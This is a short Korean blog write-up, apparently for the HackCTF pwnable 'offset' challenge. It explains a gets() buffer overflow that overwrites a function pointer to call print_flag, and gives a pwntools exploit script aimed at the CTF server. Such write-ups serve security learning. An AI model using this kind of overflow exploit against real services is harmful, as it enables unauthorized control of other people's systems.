문제 풀이 환경 : ubuntu 20.04 |
어떻게 풀까 살짝 고민했지만 어쨌든 바로 잘 풀어냈다.
Analysis
gets함수에서 BOF가 일어난다.
select_func 함수가 수상해보이니 살표보자.
main함수에서 BOF가 일어나니깐 내가 원하는 함수를 실행시킬 수 있다.
참고로 return address를 바꾸는 느낌이 아니라 위에 선언된 변수 두개를 덮어쓰는 거다.
실행시킬 함수는 print_flag이다.
How to exploit
payload = dummy(dest) + print_flag함수주소(*func)
Let's exploit
from pwn import *
#p = process('./offset')
p = remote('ctf.j0n9hyun.xyz', 3007)
e = ELF('./offset')
payload = ''
payload += 'A' * (0x2A-0xC)
payload += p32(0x6D8)
p.sendline(payload)
p.interactive()
'WAR GAME > HackCTF' 카테고리의 다른 글
[HackCTF : Pwnable] Yes or no 풀이 (64bit, ROP) (미완) (0) | 2021.03.15 |
---|---|
[HackCTF : Pwnable] BOF_PIE 풀이 (32bit, BOF, PIE) (0) | 2021.03.15 |
[HackCTF : Pwnable] Simple_Overflow_ver_2 풀이 (32bit, shellcode) (0) | 2021.03.09 |
[HackCTF : Pwnable] x64 Simple_size_BOF 풀이 (64bit, shellcode) (0) | 2021.03.09 |
[HackCTF : Pwnable] x64 Buffer Overflow 풀이 (64bit, BOF) (0) | 2021.03.05 |